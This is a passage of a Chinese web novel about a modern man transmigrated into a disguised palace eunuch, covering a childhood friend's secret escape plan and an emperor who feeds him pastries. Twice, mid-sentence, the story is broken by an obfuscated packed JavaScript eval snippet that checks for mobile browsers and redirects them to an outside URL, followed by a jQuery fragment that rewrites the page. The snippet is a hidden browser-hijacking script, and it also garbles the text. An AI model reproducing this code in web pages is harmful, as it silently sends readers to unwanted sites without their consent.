“是啊。”小穗子望着他,眼中满是笑意。 千尧一直以为小穗子和原身是进宫后才认识的,没想到竟然认识得这么早。 看小穗子平时一口一口阿尧的叫着,没什么主仆之分,看起来原身应该也是一个不错的人,想到这儿,千尧突然对原身有些好奇。 于是问道:“我以前是一个什么样的人?” 小穗子没想到他会问这个,但还是连忙认真回道:“你很好,从来没有把我当过下人,也不让我叫你少爷,总让我叫你阿尧,有好吃的总会分给我,唯一不好的是……” “是什么?” “总笑我长不高。”小穗子说着伸手在他们两个之间比了一下,“不过你确实比我高好多,所以我也只能任你笑。” 千尧听到这儿十分想跟原身科普一下,身高和营养获得也有很大关系,两个人生长环境不一样,身高不一样可太正常了,这有什么可笑的,但转念一想原身不过是个十几岁的小孩子,肯定也没什么恶意,因此也没什么好苛责的,所以只是抬手摸了摸小穗子的头。 “以前是我不好,不该随便笑你,你以后肯定会长高的。” 小穗子虽然不信,但还是十分乖巧地点了点头。 千尧看着他,只觉得更加怜悯,多么可爱的小孩儿啊,在现代还在上学的年纪,却被阉割了在这儿伺候人,真是作孽。 不过…… 想到这儿千尧突然意识到了一个问题。 “对了。” “怎么了?”小穗子闻言立刻问道。 “所以当初我们家获罪,十六岁以下男子进宫为宦官,这个是包含了家中所有人吗?连奴仆也要入宫吗?” “不是。”小穗子摇了摇头,“所有奴仆都被散了出去。” “那你怎么在这儿?”千尧闻言有些不解。 然后就听小穗子说道:“我放心不下你,就求了……陆小少爷,是他安排我进宫的。” “陆小少爷?” “你也不记得了吗?”虽然已经习惯了,但小穗子闻言还是有些难过,“他是陆大人的公子,和你一起长大,你没有被真的……也是他想的办法。” “是吗?不记得了,那你也是假太监吗?”比起来,千尧此时此刻更关心这个。 然而小穗子却摇了摇头,“自然不是,这若是被发现,可是拼上全族性命的事。” 这千尧自然明白,但他还是不明白这个陆公子为什么愿意为了他冒这么大的风险。 “那他为什么愿意帮我呢?”千尧有些不解。 “一来因为千家曾对陆家有恩,两家是故交,二来……” 小穗子说到这儿,不知为何突然顿了一下,脸上的笑容不受控制地掺杂了几分苦意,但很快就被他掩饰了下去。 “二来什么?”千尧见状更加好奇。 然后就听小穗子说道:“二来则是因为,他心悦你。” 9. 竹马 千尧最近有些心神不宁。 一来是因为突然知道了原身竟然有一个自小一起长大的竹马,二来是因为那个竹马心悦原身,三来则是因为那个从小和原身一起长大,且心悦原身的竹马说是有要事相商,所以要见他。 虽然小穗子说他们已经两年没有见过面了,但千尧第一反应还是拒绝,毕竟这个buff叠得实在是太满了,因此千尧很怕自己会露出什么破绽。 虽然已经瞒过小穗子了,但千尧并不觉得自己一定能瞒过陆砚洲。 毕竟按小穗子的话来说他和陆砚洲的关系属于两情相悦,只差捅破一层窗户纸。 这种关系肯定比一般人要更加亲密。 毕竟在千家出事之前,陆砚洲甚至想冒天下之大不韪娶他为妻。 “窗户纸不是还没捅破吗?怎么就到嫁娶了?”千尧听到这儿有些奇怪。 然后就听小穗子回道:“陆小少爷原本已经准备告诉你他的心意了,还特意找了我帮忙。” “怎么帮忙啊?”千尧闻言有些好奇。 “他那日白天偷偷找我,交给我许多练囊,里面全是照夜清,说他昨晚抓了一夜,让我晚上的时候放到你房间,你最喜欢照夜清,一定会喜欢的。” 作为一个文科生,千尧自然知道照夜清就是萤火虫,于是想了一下那个场景,确实还挺浪漫的。 “然后呢?” “然后陆小少爷就会打开窗户,从外面递给你他一早折好的结香花。 “结香……” 千尧知道结香花,在传统文化中被视为爱情的象征,因为枝条可以打结,所以也有喜结连枝之意。 “他说要是你愿意的话,就把那枝结香打上结,他就明白了。” 千尧听到这儿不由笑了一下,原本还觉得有些幼稚,但转念一想,两年前他们也不过两个还未满十六岁的孩子,又觉得这样的表白方式确实是很符合他们这个年纪的事。 虽然稚嫩却也真挚。 思及此,千尧不禁想了一下那个场景。 夜色朦胧,满室的照夜清散发着幽明的光,这时窗户突然被人从外推开,少年人临窗而立,递进一枝结香。 即使不是同性恋,估计也很难抵挡。 “然后呢?”千尧继续问道,“原……我答应了吗?” 小穗子摇了摇头。 “没有答应?” “不是,陆小少爷还没来得及告诉你他的心意,千家那日便出了事,再后来我们就到了宫里。” “那陆砚洲呢?” “陆家没事,我只知道千家出事后他想方设法地在保你,后来我去求他,他也帮忙把我送进了宫陪你,再后来……便没有了消息。” 小穗子说着叹了口气。 “再次有消息时他已经成了御前侍卫,我这才知道这两年来他拼命苦学诗书骑射,又借着陆家祖上的封荫,才被选入宫中,成为了御前侍卫。” 千尧听到这儿怎么会不明白他成为御前侍卫的原因。 一时间也有些为这命运多舛的小情侣唏嘘,但很快就想到了一个比较现实的问题。 “可是侍卫不是不能在后宫走动的吗?” “不可以,但他说会想办法避开寒刃司的眼线和后宫的宫人。” “这也太冒险了吧。”千尧一听,脑海中立刻回想起了之前那三十三名宫人被割舌的事,立刻想要阻止。 但小穗子却很放心,“陆小公子说有办法便一定有办法。” “你就这么相信他?”千尧有些惊讶。 然后就被小穗子一句话堵住了接下来的话。 “阿尧,你以前也很相信他。” - 小穗子的话让他无法推拒,因此千尧只能同意,但他实在太过担心暴露,所以问了小穗子许多他和陆砚洲从前相处时的事。 脑海中也逐渐对陆砚洲有了一些初步的认识。 他是提督九门步军巡捕五营统领陆丙的幼子,上面还有两个哥哥,皆是朝中重臣,父母恩爱和睦,对他最为疼惜,加上两个哥哥顶着家业,因此对他从小就很是娇纵。 陆家皆为武将,因此更希望他能走出和哥哥们不同的路,在诗书上更有进益,所以自他开蒙之日起便开始精挑细选,最终选了千老太师家的家塾。 千家书香门第,世代清流,虽然家中子侄不丰,但还是常年设立家塾,供子孙辈读书所用,其中所请的先生皆为大儒。 因此鄢都之中想将子孙送进去读书者数不胜数。 但千家家塾收人极为严苛 陆家备了厚礼,加上两家长辈的交情才将陆砚洲送了进去。 陆砚洲原本是不愿意去的,毕竟比起来读书他更乐意跟着哥哥们习武。 直到被父亲揍了一顿,这才老老实实地去了千家家塾。 本以为之后的人生无望,没想到却在这里碰到了和他一同上课的千尧。 两人都是不爱读书且从小被家里宠坏了的性子,因此第一天就对上了眼,堪称臭味相投,每天除了学习什么都干,常常把先生气得半死。 两人就这样每天招猫逗狗,不学无术,但奈何千家家塾的先生们太过强大,因此即使他们心思都不在读书上,最后也硬生生被培养得还像个样子。 长大后的两人不再像小时候那么调皮,终于静下来了些许。 一个风流倜傥,一个面如冠玉,因此尚未及冠便已得了不少姑娘的芳心。 随着年纪的增长,两人对于感情也开始于懵懵懂懂中生出了些不一样的情愫。 不知是谁先动了心,却没有人敢捅破那层窗户纸。 因此就两人都假装不觉,只是在拉扯和试探中试图窥见对方的心,直到陆砚洲再也忍不住。 或许原本他们可以在一起的,但只差一步,也永远差了那一步。 - 因为陆砚洲的事千尧日日提心吊胆,但不知是不是最近边地战事愈加频繁,宫内宫外肃杀一片的缘故,陆砚洲来找他的时间一推再推,已经过了半个月有余,他们依旧没有合适的见面时机。 千尧倒是不着急,甚至对此感到庆幸,毕竟虽然他们已经两年没见过面,再加上自己今非昔比,在宫中为奴为婢,又加上失忆,和以前有区别很正常。 但千尧毕竟不是同性恋,加上对原身从前的过往一无所知,真的很害怕从什么他察觉不到的细节里露出了马脚,被陆砚洲怀疑,因此能推一日是一日。 为了继续推下去,千尧甚至私心里希望边地的战事再稍稍拖久一点再解决。 然而一切并没有如他所愿。 这日宫内收到加急密报,三日前北朔夜袭位于边地的烨城,而烨城守卫中有叛徒,主动打开偏门,令他们从中进城,北朔士兵进城之后烧杀抢掠,甚至悬挂普通百姓头颅于城墙之上。 北朔此举一出,举国震怒,一时间群情激奋,甚至有人主动去官府捐款以望充作军费。 与此同时,城中数十富户被查出牵涉逆王一案,不仅皆被斩首,首级悬挂于菜市口,而且家中财产全部充公。 此事一出,城中富户纷纷慷慨解囊,大笔捐款以资军费,尤其是鄢都首富,更是直接捐了数百万钱。 朝中对此也是主战派多,纷纷上书陛下出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769240|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵。 很快,陛下便作出回应,从边地各城调兵,在极短的时间内抽调十万精兵,并派戍边多年的大将军乌明有率军出征。 因为北朔此次太过恶劣,加上民心所向,因此这一战很顺利地便将占领烨城的北朔军队全部剿灭。 消息传来,举国欢庆。 本以为接下来便是班师回朝,然而陛下却道:“今北朔先犯,岂有就此罢休之理,他犯我一城,我便屠他十城。” 随即下令。 很快乌朋有便率君连攻北朔十城。 北朔接连派兵增援,然而皆无力抵抗。 最后为了停战,主动送来降书,愿割五城以换安宁。 从前南鄢一直是递降书的一方,但自从二皇子率军掌权后,便接连获胜,如今更是大胜。 一时间举国欢庆,新帝的威望也达到了顶峰。 然而谁也没想到的是,这日陛下于猎场狩猎庆祝,却突然有人发难,一只长箭从陛下身侧穿过,差点取了陛下性命。 陛下对此震怒,立刻下令彻查,谁知查到最后竟查出与朝中大臣有关。 随着调查的继续,牵扯的人越来越多,然而陛下毫不手软,有关者皆斩杀。 最后,甚至牵扯到了当朝丞相。 虽然千尧一直在后宫,但因为这件事前朝几乎血流成河,他离得这么远,却似乎依旧闻到了浓浓的血腥。 这股血腥气在之后的很长一段时间内都弥漫在鄢都的空气中。 朝中因此事换了一大批人,一时间人人自危,再无异声。 而千尧也终于再次看见了陛下悠然逗鸟的样子。 这些日子他太忙,千尧几乎看不见他人,但班还要上,即使见不到陛下的人,每日也要守在思明殿或寝宫。 因为太过无聊,所以千尧没事就喜欢看不远处鸟笼里的小鸟。 以前千尧一直以为鸟笼里的两只麻雀是陛下的心爱之鸟,但最近才发现并不是。 麻雀的寿命不长,因此没多久就死了一只。 千尧见状原本以为宫人会报给陛下,然而并没有,他们只是又换了一只。 因此等陛下逗鸟时鸟笼依旧是满的。 里面的麻雀蹦蹦跳跳,看不出和从前有什么不同。 千尧不知道不远处的男人知不知道笼子里原来的那只麻雀已经死了。 但看着他缓缓抬起受伤的那只手臂逗弄笼中鸟的样子,又觉得他知不知道根本不重要。 笼子里的麻雀是谁根本不重要。 只要能让他开心就好。 - 最近发生的事情实在是太多,别说陆砚洲,小穗子千尧都没空见。 即使偶尔见一面,他们也不敢再像从前一样无所不谈。 毕竟他如今是御前的人,很多话已不方便再说。 更何况这皇宫中还有那无时无刻不蛰伏在暗处的寒刃司。 这些日子宫内宫外的气氛实在太过紧张,因此很长一段时间小穗子都没再提过陆砚洲要和他见面的事。 因此千尧本以为这件事暂时已经过去。 然而没想到的是这日他不当值时小穗子却突然主动来太监院找了他。 “你怎么来了?”千尧看见他十分惊喜地迎了出来。 然后就被他拉到僻静处,接着小穗子偷偷往他手里塞了一张卷起来的纸。 千尧几乎立刻便明白了这是什么东西。 但却不敢打开,直到回到房间,确定四下无人后这才展开了手中的素笺。 然后就见上面写道: 【亥时一刻,听竹馆一见。】 10. 求你 千尧穿过来的时间不算长,每日大部分时间又都在御前当值,因此知道的宫殿并不多,但听竹馆却是其中的一个。 倒不是因为进去过,而是因为这个地方实在太有名了。 以不详而闻名。 其实听竹馆原本是个很雅致的地方,满院都是湘妃竹,加上整个宫殿的窗户皆以明纸糊成,因此每到黄昏时分或夜半,便能看到窗上竹影斜横,犹如水墨工笔。 因此这也曾是一宫主位的居所,只不过住在这里的历任妃子皆以不幸告终。 第一个住在这里的是世宗的辰妃,容貌极美,只是身体虚弱,因常年吃药的缘故,看起来弱柳扶风,眉间常含愁绪,但世宗爱极了她这幅神态,因此十分偏宠,可惜身体太弱,生产时难产而死,母子俱亡。 第二位便是先帝的容妃,也是当今陛下的生母,生前也是颇得宠爱,但最后也因难产而死。 而且虽然生下了当今陛下,但生产那日,天有异象,漫天赤光,犹如血污,再加上陛下天生异瞳,因此并不为陛下所喜。 两任宠妃皆居住于此,又都是同样的下场,因此从那之后听竹馆便被视为不祥之地。 当今陛下即位之后更是直接封了那里,再无人去。 千尧知道那里是因为有一次偶然经过,刚一靠近便觉得周围的温度突然低了下去,身体像是突然浸入了寒冰之中。 千尧觉得有些奇怪,明明此时艳阳高照,面前的宫殿也和周围并没有什么不同,但为何却会让人觉得如此阴冷? 正想上前一探究竟,却被一个小太监叫住,“不要去,你不要命了?” 那个小太监看着眼生,而且身上的太监服排最末等,应该没有见过他,所以才会主动和他说话。不仅好心劝阻了他,还告诉了他听竹馆的事,然后叮嘱他最好不要过去,那里阴气太重,靠得太近会沾染晦气。 千尧原本是不信这些乱七八糟的,但自从经历过穿越后就老实了,因此从那之后就离听竹馆远远的。 没想到陆砚洲竟然会选在哪里。 不过转念一想也是,毕竟这皇宫之中处处是人,步步是眼线,若说最能避开人群的地方,也确实只有这里。 但…… 亥时就是现在的九点。 若是在现代这个点夜生活才刚刚开始,大街上依旧纸醉金迷,灯火通明,但这里是古代,这个时候对于古人来说已是人定,加上皇宫已经下钥,到处都是漆黑一片,在这种情况下还要去那么邪门的宫殿,说不害怕是假的。 不过千尧也明白,这确实是最合适的时间和最合适的地点。 今夜他不当值,一般那个狗皇帝九点前肯定会睡觉,而他从寝殿回太监院的路上会经过听竹馆。 每日陛下休息的时间不定,因此稍微回去晚一点也说得过去。 只要他把握好时间,应该不会露出什么破绽。 因此虽然害怕,但千尧还是鼓起勇气,在伺候完陛下休息后来到了听竹馆。 这片本就偏僻,到了夜晚更是寂静,长长的宫道没有一丝光亮,也没有一丝人声,周围静得几乎能听见他的心跳声。 千尧本就胆小,见状只能不断加快脚步,来到了听竹馆的偏门。 这里的正门皆被封住,只留了偏门供宫人打扫时使用。 因为有皇帝的命令,再加上此地不详的名声,因此哪怕很多人都知道偏门开着,一般也不会有人来,所以千尧才得以从此处进入。 千尧抬手推开偏门,不知面前的大门是不是年久失修的缘故,刚一动便发出了“吱呀”的响声,吓得他立刻扭头向后看去,生怕这声音引来其他人的注意。 好在并没有。 但也因为此,之后每推一下千尧都十分小心,根本不敢把门完全推开,只推到可以供自己侧身过去就停了下来,然后走了进去。 夜晚的听竹馆比白日更加阴森,面前的宫殿被密密麻麻的竹子围起,没有一丝光亮,竹林影影绰绰,随风轻轻晃动,像是有人影在其间穿行。 千尧见状立刻停下了脚步,站在院中不敢再继续向前一步。 那素笺中只说了听竹馆,却并未说明具体位置,目前来看把他约在那竹林里看起来更加安全,但千尧胆气实在有限,实在不敢过去,因此只能在原地踟蹰。 好在他并没有等多久就见一道人影从竹林里缓缓走了出来。 因为周围太暗,所以千尧有些看不清来人的长相,只能看出来他高高瘦瘦,身形和身后的竹子一般挺拔修长。 按理说这是原身心仪之人,千尧怎么样都应该表现得热情一点。 但他不是原身,也不是同性恋,实在做不出直接扑到那人怀里的举动,因此只是直愣愣地挺在原地。 然而没想到的是对面的人竟然做出了和他一样的反应,没有立刻过来,而是在离他不远处停下,静静地望着自己。 离得近了些,借着头顶的月光,千尧终于看清了对方的脸。 和自己想象中的纨绔小公子不同,面上没有一丝轻浮之色,反而看起来端庄持重,明明也不过十八岁的年纪,然而身上却没有一丝稚气。 看起来一点也不像小穗子描述中会抓一夜照夜清的人。 直到对上他的目光,千尧才终于在他身上感受到了一丝活气。 “阿……尧。”他叫道,像是因为太久没有唤过这个名字,叫得艰涩不已。 短短的两个字像是用尽了他全身的力气,原本挺直的背脊像是被突然抽走了骨头,微微塌下,连脚步也凌乱了些许。 “阿尧。”走到他面前时陆砚洲像是终于熟悉了这个称呼,再次开口叫道。 说着抬手轻轻抚上他的面颊,虽没碰实,但千尧还是感受到其中的颤意。 这一刻,甚至不用再多说什么,千尧就已经感受到了面前人对原身深深的情意。 如果他是原身,他大概会立刻扑进面前人的怀里,和他互诉衷肠。 可他不是。 他只是一抹暂居这里的游魂,因此千尧甚至不敢抬头,生怕对上陆砚洲的眼睛,他受不住这样的深情。 “你不记得我了,是吗?”陆砚洲看起来已经知道了他“失忆”的事,对他的反应并不意外。 千尧一时间愧疚得不知道该怎么说,低下了头不敢看他,但最终还是点了点头。 虽然已经知道在皇宫里的日子不会太好过,因此陆砚洲来之前做足了心理准备,但等他亲眼看到曾经明媚张扬的少年变成了如今的模样,心中还是犹如针扎一般痛到差点无法站立。 “是我没有保护好你。” 千尧闻言立刻摇了摇头,这些日子他已经充分了解到了皇权的恐怖。 封建社会真正的主人只有一个,其他人再位高权重,也不过是帝王可以随手捏碎的玩物。 更何况无论是保住他,还是把小穗子送进宫,亦或是用两年的时间成为御前侍卫。 陆砚洲已经为“他”付出了所有的能做的努力。 “不怪你,你已经为我做了很多了,我很感激。” “别和我道谢。”陆砚洲立刻打断了他的话。 说完后犹疑着伸出了手,见他没有排斥,这才握住了他,“没关系,等带你离开后,我们重新开始。” 千尧原本的注意力都在被握住的手上,毕竟被男生这么牵着实在怪异,但代入原身,肯定不会拒绝,因此千尧只能由他牵着自己。 然而没想到陆砚洲的下句话就让他无暇顾及手被牵着的事。 “离开?” “对。”陆砚洲望着他笑了一下,这一笑,脸上这才有了些少年人的活力。 陆砚洲很坚定地望着千尧,同时将他的手握得更紧。 “阿尧,我会带你离开这里。” - 千尧一晚上都没睡着。 他与别人同住,因此自然不能在听竹馆待太久,不然一定会引起怀疑。 所以昨晚他和陆砚洲见面的时间并不长,因此两人并没有叙太久的旧,陆砚洲就和他全盘托出了自己的目的。 他要带千尧离开皇宫。 千尧觉得他一定是疯了。 要是原来他在御茶房的时候说不定还有可能,但现在他可是在御前伺候。 怎么可能说走就走。 况且他本来就是假太监,还是罪臣之后,每日已经是活得战战兢兢,如履薄冰。 如今知道了陆砚洲的想法后更觉自己命不久矣,因此几乎立刻便拒绝了他的提议。 陆砚洲自然知道他的恐惧,因此连忙安慰道:“你放心,我知道这件事的危险,因此定不会贸然行事。” “还是不了吧。”千尧试图打消他的念头。 “难道你要在这里当一辈子的宦官吗?”陆砚洲反问道。 千尧一下哑了声。 “宦官和宫女不同,不能到了年纪就出宫,因此只要入宫,一辈子都会断送在这里,阿尧,我舍不得你这样。” 他说的千尧自然也明白,但…… “你一开始就是这个打算是吗?”千尧突然想明白了为什么当初陆砚洲会想方设法让“自己”成为一个假太监。 “是。”陆砚洲毫不避讳,“我怎么可能让你一辈子呆在这里伺候别人。” “可是……”千尧还是担心。 但陆砚洲直接打断了他的话,“无论是让你成为假太监还是把小穗子送进宫陪你我都做到了,所以,能不能再相信我一次?” “我不是不相信你,只是……”千尧在御前当差这么久,自然了解当今陛下的秉性。 若是被他发现,千尧毫不怀疑他对用最狠厉的手段把他们都折磨死,因此还是想要再劝一劝陆砚洲。 可陆砚洲却已经听不进任何的劝告。 他像是终于忍不住一般直接把千尧拉进了怀中,紧紧抱住,像是要把千尧直接揉进身体。 他抱得太过用力,千尧被他勒得喘不过气,刚想伸手推开他。 就听耳边传来一道带着湿意的声音。 “求你。” - 那日之后千尧心中又多了一桩心事。 他还以为假太监,罪臣之后已经是极限,没想到如今又突然出现了一个陆砚洲来挑战他的心理承受能力。 如果可以选择,千尧自然不想在这里当一辈子假太监,但陆砚洲的想法又实在冒险,因此千尧那日回答得很犹豫。 应该直接一口回绝他的,毕竟这件事一旦暴露,死的肯定不止他们俩,说不定会连累到陆家满族的性命。 可那日陆砚洲的哀求又确实让他狠不下心。 虽然千尧不是原身,但也能从小穗子的描述和陆砚洲的态度中感受到他对原主的感情。 因此千尧终究没有狠得下心,只是用沉默掩饰自己态度的犹疑。 好在那日时间太紧,加上陆砚洲也明白这件事的风险,因此并没有逼他立刻给出答案,只是让他先回去。 千尧那日太乱,又走得匆忙,因此回去之后才反应过来对于这件事他们还没有达成一致。 陆砚洲看起来对此事势在必行,让他考虑看起来也不过是安抚之意。 因此千尧总觉得无论他最后同不同意,陆砚洲都会想办法带他离开这里。 但这是在是太冒险了,简直是在找死。 虽然千尧知道自己不过是一个太监,是死是活对于帝王来说没有任何影响。 但这种行为无疑是在挑战帝王的权威,即使是为了面子,皇帝发现后也一定会把他们弄死。 想到这儿千尧便忍不住叹了口气,刚叹完气就到了吃饭的时间。 千尧去领饭,果不其然还是萝卜白菜。 千尧看着手中的饭菜,原本已经坚定的决心又动摇了。 要不就听陆砚洲的试一试,毕竟他也实在不想吃一辈子这种东西。 但难道就为了不吃萝卜白菜就要冒着把命搭上的风险逃跑吗? 走还是不走?真是一个两难的问题。 但千尧也没有纠结太久,因为他今晚还得值夜,所以吃完饭就要去上班。 今日陛下吃饭的时间很晚,千尧当值的时候御膳房才刚上晚膳。 因为不需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769241|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他布菜,所以千尧上了漱口的茶后便退到了一边。 原本千尧还在想陆砚洲的提议,但不远处的饭菜实在太香,因此千尧的心思很快跑偏。 虽然已经吃过了晚饭,但千尧对那清汤寡水的萝卜白菜实在已经吃腻,因此晚上只吃了几口。 现在看着满桌子的御膳,肚子差点叫了起来。 好羡慕,虽然知道自己不能乱看,但千尧还是有些忍不住。 毕竟和他吃的东西相比,供帝王享用的饭菜犹如精雕细琢的工艺品,每一道都精致无比。 因为陆砚洲的事,加上他们的饭菜太难吃,所以千尧这些日子的胃口一直不怎么好,吃的也少。 本来也没觉得有什么,但今日看着陛下用膳的样子,却突然感到了一股久违的饥饿感。 好饿,好想吃。 这么好吃的饭菜每道只吃一口,好浪费,剩下的能不能赏给我吃? 千尧觉得环境真是改变人,如果是以前,他哪里会想到自己有一天竟然会想吃别人的剩饭。 但造化弄人,现在的他真的很想吃。 不知是不是他的目光太灼热的缘故,正在吃饭的帝王突然抬头看了过来。 千尧见状立刻意识到自己又错了规矩,于是连忙低下了头。 本以为自己头低得这么快那人应该没发现。 然而没想到的是下一秒便听一道略带玩味的声音传来。 “想吃?” 这句话没有指名道姓,但千尧却莫名笃定是在问自己。 于是悄悄抬了抬眼,果然看见陛下正望着自己。 千尧见状愣了一下,一时间竟不知该怎么回应,本想摇头,但又想起古代有一条罪名叫欺君之罪,身为帝王应该不喜欢下面的人撒谎,因此犹豫了片刻后还是点了点头。 虽然千尧没具体学过这里的规矩,但也知道自己实在有些不成体统,本以为会被罚,没想到并没有。 相反,年轻的帝王不知想到了什么,突然放下手中的筷子,冲他勾了勾手指。 千尧有些不明所以,但还是连忙快步走了过去。 本想问他有何吩咐?没想到下一秒却见他从桌上拿起一块糕点递给了自己。 千尧第一反应是糕点里有毒。 但转念一想皇帝的饭菜每一道都是由专人验过的,怎么可能被下毒? 那为什么要给自己? 千尧一时间觉得大脑有些宕机,因此就这么捧着糕点直愣愣地站在了这里。 直到面前帝王的声音传来,“怎么不吃?” 千尧这才回过神一般问道:“我可以吃吗?” “嗯。” 虽然不明白为什么,但既然皇帝都发话了,千尧也没了顾虑,于是拿起手中的糕点吃了起来。 糕点入口的那一刻,千尧脑子里只剩下了一个感慨,不愧是给皇帝吃的点心,实在是太好吃了,入口细腻,口味清甜,这几乎是他穿越以来吃过的最好吃的东西,因此千尧一时间竟舍不得咽。 一块糕点吃完后甚至还情不自禁地回味了半天。 面前的人似乎很喜欢他的反应,见状又让宫人给他布了一些菜放到小盘子里递给他。 千尧见状满眼都是受宠若惊,一时间被巨大的惊喜填满。 面前人的形象瞬间在他心中逆转。 不管,这一刻,在千尧心里他就是好人。 因为吃到了好吃的饭菜,千尧上了穿越以来最幸福的一个夜。 哪怕工作了一整晚,第二天回去的时候依旧元气满满。 他原来怎么没发现,原来吃好饭对于一个打工人来说竟然是这么重要的一件事。 但这也带来了明显的后遗症,比如第二天吃饭时面对碗里的萝卜白菜,千尧更加难以下咽。 以前硬着头皮还能吃一点,现在则是一点都吃不下去,说是味同嚼蜡也不为过。 果然,由俭入奢易,由奢入俭难。 因为实在吃不下太监院的饭菜,千尧又打起了陛下御膳的主意。 既然能给他吃一次,应该也能给他吃第二次吧。 于是千尧打算再试一试。 但天不遂人愿,之后的几天他都没有碰到过陛下用膳。 直到这日千尧值夜。 他刚当值不久就见陛下在寝殿传了膳。 千尧见状眼睛瞬间亮了,但也不敢太明显,因此只是不时抬起头,眼巴巴地看向正在用膳的皇帝。 然而今日不知为何,年轻的帝王却再没看过他一眼,只是安静地吃着宫人布的菜,慢悠悠地把每一道菜都尝了一遍。 千尧见状有些难过,却不敢表露得太明显,毕竟这本来也不是他能吃的饭菜,陛下给自己已经是恩赐,他怎么还能奢求第二次。 意识到自己在想什么之后千尧瞬间愣住,这才穿过来多久,他怎么已经被同化到了这个地步? 居然把狗皇帝赏给他的饭菜当作恩赐。 想到这儿千尧的沮丧又多了一层,同时还有些心惊。 或许他应该答应陆砚洲逃离这里的提议。 如果一直留在这里,就算能活得更长一些,但这是怎样的一辈子? 日日吃着那些难以下咽的饭菜,心惊胆战地伺候阴晴不定的暴君,被同化,被毁灭,逐渐将这里的一切视为理所当然,直到彻底忘记自己原本的样子。 他要这样吗?千尧突然有些动摇了。 然而还没等他想清楚,就听见一声,“过来。” 千尧闻言下意识抬起头,然后就见不远处的帝王不知何时已经放下了筷子,正望着自己。 千尧见状这才意识到自己又跑神了,因此不敢耽搁,连忙快步走了过去。 “陛下。”千尧行至他面前叫道。 话音刚落就见面前的人拿起一块糕点递到他面前,千尧见状连忙伸手想要接过,然而那人却避开了他的动作。 千尧有些不解,抬头看向他。 然后就见面前的人几乎是堪称恶劣地笑了一下,然后将手中的糕点递到了他的唇边。 “就这么吃。” 11.好冷 千尧垂眸,看着唇边的糕点有些不解。 毕竟面前的人可是金尊玉贵的帝王,平日里东西掉了都不会自己弯腰去捡,现在却愿意纡尊降贵,亲手喂他吃一块糕点。 虽然有些怪异,但千尧明白自己根本没有拒绝的权力,因此还是缓缓俯身,就着他的手吃了下去。 今日的糕点和那天吃到的不同,但还是那么好吃,好吃到千尧吃完后还忍不住回味地舔了一下唇瓣。 “这么喜欢?”一道声音传来。 千尧低下头,然后就见面前的帝王正望着他,眸色很黑,让人看不出其中的深浅。 他的手指还没有收回去,大概是上面残留有糕点碎渣的缘故,拇指和食指突然在一起捻了捻。 因为落差太大的缘故,千尧最近都没怎么好好吃过饭,所以这几日腹中都是空的,今日好不容易又吃到了好吃的食物,一块糕点实在不够,因此千尧希望他能再多给自己一点。 于是连忙用力点了点头,努力让面前的人相信他是真的喜欢。 大概是他的目光太过真切,面前的人很快便信了,于是再次拿起了一块糕点递到了他面前。 千尧见状连忙张嘴吃了下去,两人一个喂一个吃,十分和谐。 一连吃了六块糕点后千尧终于饱了,面前的人似乎看出来了,没有再继续投喂。 而是接过一旁宫女递过来的软帕,细细地擦干净了手指。 千尧见状觉得自己是不是应该做些什么表现一下,以此来讨得面前人的欢心,让他日后依旧愿意投喂自己。 但他的本职工作是奉茶,因此也没什么其他的表现形式,于是思来想去还是去沏了一杯热茶递了过去。 然而面前的人却没喝,而是放下手中的软帕,望着他道:“你喝吧。” 千尧闻言愣了一下,虽然觉得似乎有哪儿不太对,但这毕竟是皇帝的命令,因此还是立刻乖乖地喝了一口。 然后等他咽下去后才终于反应过来到底不对在哪儿,这是御用的茶盏。 意识到自己做了什么之后千尧一下子僵在了原地。 手中的茶自然是不敢再喝了,可无论他喝不喝都已经改变不了他用了皇帝的茶盏这一事实。 面前的人似乎也意识到了这一点,看着他定在原地的模样突然笑了一下。 “真奇怪……” 他的声音很低,像是在和千尧说话,又像是在自言自语。 “有时候觉得你胆子大到没边,有时候又觉得是高看了你,明明胆子只有一点。” 千尧有些不明白他的话,不过面前的帝王看起来并不在意,也没再继续逗弄他,而是放下了手中的软帕,起身离开了。 那天之后,皇帝似乎解锁了什么新的乐趣,十分喜欢投喂他。 无论是在批奏折,还是练字,甚至是逗鸟的时候,只要兴致来了,便会投喂他糕点,而且不允许千尧自己拿着,只能就着他的手吃。 千尧有些不明白他这古怪的癖好,但也不在意,只要能吃到好吃的糕点,他完全可以忽视这些形式。 唯一美中不足的是这人有点恶趣味。 一开始还会正常投喂,但渐渐的,便开始不许他直接把一整块咬走,而是要就着他的手一口一口地吃,哪怕最后快咬到他手指也不松手,还必须要求千尧吃完。 因此千尧要吃完的话只能碰到他的手指。 舌头第一次碰到那人手指的时候千尧吓了一跳,连忙跪了下去。 本以为面前的人会生气,然而他却没有,只是淡淡地说道:“继续吃。” 千尧闻言抬起头,看着他拇指与食指间夹着的,剩下的一小块点心,心中十分为难。 觉得这个人简直恶劣至极,简直是在把他当狗逗弄。 但又不敢违抗他的命令,最后还是仰头凑到他身前,用舌头卷走了剩下的糕点。 这人应该对他这样吃东西很满意,因为刚吃完千尧就在他眼中看到了一丝难以抑制的笑意。 恶趣味的狗东西。 不过千尧虽然天天在心里骂他不做人,但最近的饮食水平简直直线上升,因此总体过得还是比以前开心。 如果能不值夜的话,他会更开心。 但千尧知道这不可能,这日又是他当值。 还在现代的时候熬夜对于千尧来说可谓是家常便饭的事,即使每天都要早八,也抵挡不住他通宵的热情。 